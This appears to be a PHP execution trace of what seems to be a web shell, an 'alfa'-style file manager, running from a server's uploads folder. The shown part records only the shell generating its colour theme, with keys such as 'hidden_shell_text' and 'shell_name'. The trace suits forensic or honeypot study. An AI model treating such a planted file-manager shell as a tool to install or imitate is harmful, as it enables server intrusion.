5 169 0 0.020222 2800584 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#06ff0f' 'color: {color};font-weight: unset;'
5 169 1 0.020238 2800744
5 169 R 'color: #06ff0f;font-weight: unset;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #06ff0f;font-weight: unset;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.alfa_plus{color: #06ff0f;font-weight: unset;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'hidden_shell_text'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '#hidden_sh a'
5 170 0 0.020301 2800608 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'hidden_shell_text'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#00FF00', 'multi_selector' => ['#hidden_sh a' => 'color: {color};']]
5 170 1 0.020377 2800608
5 170 R '#00FF00'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#00FF00'
5 171 0 0.020403 2800608 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#00FF00' 'color: {color};'
5 171 1 0.020419 2800744
5 171 R 'color: #00FF00;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #00FF00;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '#hidden_sh a{color: #00FF00;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'hidden_shell_version'
5 172 0 0.020467 2800840 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'hidden_shell_version'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#ff0000'
5 172 1 0.020493 2800840
5 172 R '#ff0000'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#ff0000'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.hidden_shell_version{color: #ff0000;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'shell_name'
5 173 0 0.020540 2800840 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'shell_name'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#FF0000'
5 173 1 0.020564 2800840
5 173 R '#FF0000'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#FF0000'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.shell_name{color: #FF0000;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'main_row:hover'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.main tr:hover'
5 174 0 0.020623 2800840 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'main_row:hover'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.main tr:hover' => 'background-color: {color};']]
5 174 1 0.020658 2800840
5 174 R '#646464'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#646464'
5 175 0 0.020683 2800840 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#646464' 'background-color: {color};'
5 175 1 0.020699 2800992
5 175 R 'background-color: #646464;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'background-color: #646464;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.main tr:hover{background-color: #646464;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'main_header'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.main th'
5 176 0 0.020760 2800856 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'main_header'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main th' => 'color: {color};']]
5 176 1 0.020790 2800856
5 176 R '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#FFFFFF'
5 177 0 0.020814 2800856 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 177 1 0.020830 2800992
5 177 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.main th{color: #FFFFFF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'main_name'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.main .main_name'
5 178 0 0.020887 2800840 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'main_name'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .main_name' => 'color: {color};font-weight: unset;']]
5 178 1 0.020919 2800840
5 178 R '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#FFFFFF'
5 179 0 0.020942 2800840 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#FFFFFF' 'color: {color};font-weight: unset;'
5 179 1 0.020959 2801000
5 179 R 'color: #FFFFFF;font-weight: unset;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #FFFFFF;font-weight: unset;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.main .main_name{color: #FFFFFF;font-weight: unset;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'main_size'
5 180 0 0.021010 2800864 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'main_size'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#67ABDF'
5 180 1 0.021035 2800864
5 180 R '#67ABDF'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.main_size{color: #67ABDF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'main_modify'
5 181 0 0.021083 2800864 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'main_modify'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#67ABDF'
5 181 1 0.021107 2800864
5 181 R '#67ABDF'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.main_modify{color: #67ABDF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'main_owner_group'
5 182 0 0.021154 2801120 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'main_owner_group'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#67ABDF'
5 182 1 0.021178 2801120
5 182 R '#67ABDF'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.main_owner_group{color: #67ABDF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'main_green_perm'
5 183 0 0.021225 2801120 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'main_green_perm'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#25ff00'
5 183 1 0.021253 2801120
5 183 R '#25ff00'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#25ff00'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.main_green_perm{color: #25ff00;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'main_red_perm'
5 184 0 0.021299 2801120 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'main_red_perm'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#FF0000'
5 184 1 0.021323 2801120
5 184 R '#FF0000'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#FF0000'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.main_red_perm{color: #FF0000;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'main_white_perm'
5 185 0 0.021370 2801120 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'main_white_perm'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#FFFFFF'
5 185 1 0.021394 2801120
5 185 R '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.main_white_perm{color: #FFFFFF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'beetween_perms'
5 186 0 0.021439 2801120 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'beetween_perms'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#FFFFFF'
5 186 1 0.021463 2801120
5 186 R '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.beetween_perms{color: #FFFFFF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'main_actions'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.main .actions'
5 187 0 0.021519 2801120 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'main_actions'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .actions' => 'color: {color};']]
5 187 1 0.021549 2801120
5 187 R '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#FFFFFF'
5 188 0 0.021573 2801120 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 188 1 0.021589 2801256
5 188 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.main .actions{color: #FFFFFF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'minimize_editor_background'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.minimized-wrapper'
5 189 0 0.021647 2801096 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'minimize_editor_background'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#0e304a', 'multi_selector' => ['.minimized-wrapper' => 'background-color: {color};']]
5 189 1 0.021679 2801096
5 189 R '#0e304a'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#0e304a'
5 190 0 0.021703 2801096 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#0e304a' 'background-color: {color};'
5 190 1 0.021720 2801248
5 190 R 'background-color: #0e304a;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'background-color: #0e304a;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.minimized-wrapper{background-color: #0e304a;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'minimize_editor_text'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.minimized-text'
5 191 0 0.021783 2801112 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'minimize_editor_text'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#f5deb3', 'multi_selector' => ['.minimized-text' => 'color: {color};']]
5 191 1 0.021814 2801112
5 191 R '#f5deb3'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#f5deb3'
5 192 0 0.021842 2801112 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#f5deb3' 'color: {color};'
5 192 1 0.021858 2801248
5 192 R 'color: #f5deb3;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #f5deb3;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.minimized-text{color: #f5deb3;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'editor_border'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.editor-explorer,.editor-modal'
5 193 0 0.021918 2801352 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'editor_border'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#0e304a', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'border: 2px solid {color};']]
5 193 1 0.021951 2801352
5 193 R '#0e304a'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#0e304a'
5 194 0 0.021975 2801352 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#0e304a' 'border: 2px solid {color};'
5 194 1 0.021991 2801504
5 194 R 'border: 2px solid #0e304a;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'border: 2px solid #0e304a;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.editor-explorer,.editor-modal{border: 2px solid #0e304a;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'editor_background'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.editor-explorer,.editor-modal'
5 195 0 0.022055 2801368 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'editor_background'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'background-color: {color};']]
5 195 1 0.022088 2801368
5 195 R 'rgba(0, 1, 23, 0.94)'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = 'rgba(0, 1, 23, 0.94)'
5 196 0 0.022114 2801368 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' 'rgba(0, 1, 23, 0.94)' 'background-color: {color};'
5 196 1 0.022131 2801544
5 196 R 'background-color: rgba(0, 1, 23, 0.94);'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'background-color: rgba(0, 1, 23, 0.94);'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'editor_header_background'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.editor-header'
5 197 0 0.022197 2801392 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'editor_header_background'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => ['.editor-header' => 'background-color: {color};']]
5 197 1 0.022230 2801392
5 197 R 'rgba(21, 66, 88, 0.93)'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = 'rgba(21, 66, 88, 0.93)'
5 198 0 0.022256 2801392 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' 'rgba(21, 66, 88, 0.93)' 'background-color: {color};'
5 198 1 0.022273 2801568
5 198 R 'background-color: rgba(21, 66, 88, 0.93);'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'background-color: rgba(21, 66, 88, 0.93);'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.editor-header{background-color: rgba(21, 66, 88, 0.93);}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'editor_header_text'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.editor-path'
5 199 0 0.022338 2801392 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'editor_header_text'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#00ff7f', 'multi_selector' => ['.editor-path' => 'color: {color};']]
5 199 1 0.022368 2801392
5 199 R '#00ff7f'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#00ff7f'
5 200 0 0.022396 2801392 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#00ff7f' 'color: {color};'
5 200 1 0.022412 2801528
5 200 R 'color: #00ff7f;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #00ff7f;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.editor-path{color: #00ff7f;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'editor_header_button'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.close-button, .editor-minimize'
5 201 0 0.022473 2801352 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'editor_header_button'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#1d5673', 'multi_selector' => ['.close-button, .editor-minimize' => 'background-color: {color};']]
5 201 1 0.022504 2801352
5 201 R '#1d5673'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#1d5673'
5 202 0 0.022529 2801352 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#1d5673' 'background-color: {color};'
5 202 1 0.022545 2801504
5 202 R 'background-color: #1d5673;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'background-color: #1d5673;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.close-button, .editor-minimize{background-color: #1d5673;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'editor_actions'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.editor_actions'
5 203 0 0.022609 2801624 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'editor_actions'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_actions' => 'color: {color};']]
5 203 1 0.022640 2801624
5 203 R '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#FFFFFF'
5 204 0 0.022664 2801624 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 204 1 0.022680 2801760
5 204 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.editor_actions{color: #FFFFFF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'editor_file_info_vars'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.editor_file_info_vars'
5 205 0 0.022741 2801608 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'editor_file_info_vars'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_file_info_vars' => 'color: {color};']]
5 205 1 0.022772 2801608
5 205 R '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#FFFFFF'
5 206 0 0.022795 2801608 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 206 1 0.022811 2801744
5 206 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.editor_file_info_vars{color: #FFFFFF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'editor_file_info_values'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.filestools'
5 207 0 0.022870 2801608 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'editor_file_info_values'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#67ABDF', 'multi_selector' => ['.filestools' => 'color: {color};']]
5 207 1 0.022901 2801608
5 207 R '#67ABDF'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#67ABDF'
5 208 0 0.022925 2801608 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#67ABDF' 'color: {color};'
5 208 1 0.022941 2801744
5 208 R 'color: #67ABDF;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #67ABDF;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.filestools{color: #67ABDF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'editor_history_header'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.hheader-text,.history-clear'
5 209 0 0.023006 2801608 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'editor_history_header'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#14ff07', 'multi_selector' => ['.hheader-text,.history-clear' => 'color: {color};']]
5 209 1 0.023038 2801608
5 209 R '#14ff07'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#14ff07'
5 210 0 0.023063 2801608 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#14ff07' 'color: {color};'
5 210 1 0.023079 2801744
5 210 R 'color: #14ff07;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #14ff07;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.hheader-text,.history-clear{color: #14ff07;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'editor_history_list'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.editor-file-name'
5 211 0 0.023150 2801608 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'editor_history_list'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#03b3a3', 'multi_selector' => ['.editor-file-name' => 'color: {color};']]
5 211 1 0.023181 2801608
5 211 R '#03b3a3'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#03b3a3'
5 212 0 0.023206 2801608 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#03b3a3' 'color: {color};'
5 212 1 0.023222 2801744
5 212 R 'color: #03b3a3;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #03b3a3;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.editor-file-name{color: #03b3a3;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'editor_history_selected_file'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.is_active'
5 213 0 0.023308 2801608 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'editor_history_selected_file'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => ['.is_active' => 'background-color: {color};']]
5 213 1 0.023341 2801608
5 213 R 'rgba(49, 55, 93, 0.77)'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = 'rgba(49, 55, 93, 0.77)'
5 214 0 0.023368 2801608 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' 'rgba(49, 55, 93, 0.77)' 'background-color: {color};'
5 214 1 0.023385 2801784
5 214 R 'background-color: rgba(49, 55, 93, 0.77);'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'background-color: rgba(49, 55, 93, 0.77);'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.is_active{background-color: rgba(49, 55, 93, 0.77);}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'editor_history_file:hover'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.file-holder > .history:hover'
5 215 0 0.023452 2802160 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'editor_history_file:hover'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.file-holder > .history:hover' => 'background-color: {color};']]
5 215 1 0.023491 2802160
5 215 R '#646464'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#646464'
5 216 0 0.023516 2802160 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#646464' 'background-color: {color};'
5 216 1 0.023533 2802312
5 216 R 'background-color: #646464;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'background-color: #646464;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.file-holder > .history:hover{background-color: #646464;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'input_box_border'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = 'input[type=text],textarea'
5 217 0 0.023623 2802136 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'input_box_border'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['input[type=text],textarea' => 'border: 1px solid {color}']]
5 217 1 0.023657 2802136
5 217 R '#0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#0E304A'
5 218 0 0.023682 2802136 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
5 218 1 0.023698 2802288
5 218 R 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= 'input[type=text],textarea{border: 1px solid #0E304A}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'input_box_text'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = 'input[type=text],textarea'
5 219 0 0.023767 2802136 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'input_box_text'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#999999', 'multi_selector' => ['input[type=text],textarea' => 'color: {color};']]
5 219 1 0.023799 2802136
5 219 R '#999999'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#999999'
5 220 0 0.023826 2802136 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#999999' 'color: {color};'
5 220 1 0.023842 2802272
5 220 R 'color: #999999;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #999999;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= 'input[type=text],textarea{color: #999999;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'input_box:hover'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = 'input[type=text]:hover,textarea:hover'
5 221 0 0.023940 2802120 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'input_box:hover'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=text]:hover,textarea:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 221 1 0.023975 2802120
5 221 R '#27979B'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#27979B'
5 222 0 0.023999 2802120 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 222 1 0.024017 2802296
5 222 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= 'input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'select_box_border'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = 'select'
5 223 0 0.024086 2802160 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'select_box_border'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['select' => 'border: 1px solid {color}']]
5 223 1 0.024118 2802160
5 223 R '#0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#0E304A'
5 224 0 0.024143 2802160 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
5 224 1 0.024159 2802312
5 224 R 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= 'select{border: 1px solid #0E304A}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'select_box_text'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = 'select'
5 225 0 0.024220 2802136 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'select_box_text'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#FFFFEE', 'multi_selector' => ['select' => 'color: {color};']]
5 225 1 0.024255 2802136
5 225 R '#FFFFEE'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#FFFFEE'
5 226 0 0.024279 2802136 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#FFFFEE' 'color: {color};'
5 226 1 0.024295 2802272
5 226 R 'color: #FFFFEE;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #FFFFEE;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= 'select{color: #FFFFEE;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'select_box:hover'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = 'select:hover'
5 227 0 0.024356 2802120 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'select_box:hover'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['select:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 227 1 0.024390 2802120
5 227 R '#27979B'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#27979B'
5 228 0 0.024415 2802120 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 228 1 0.024432 2802296
5 228 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= 'select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'button_border'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = 'input[type=submit],.button,#addup'
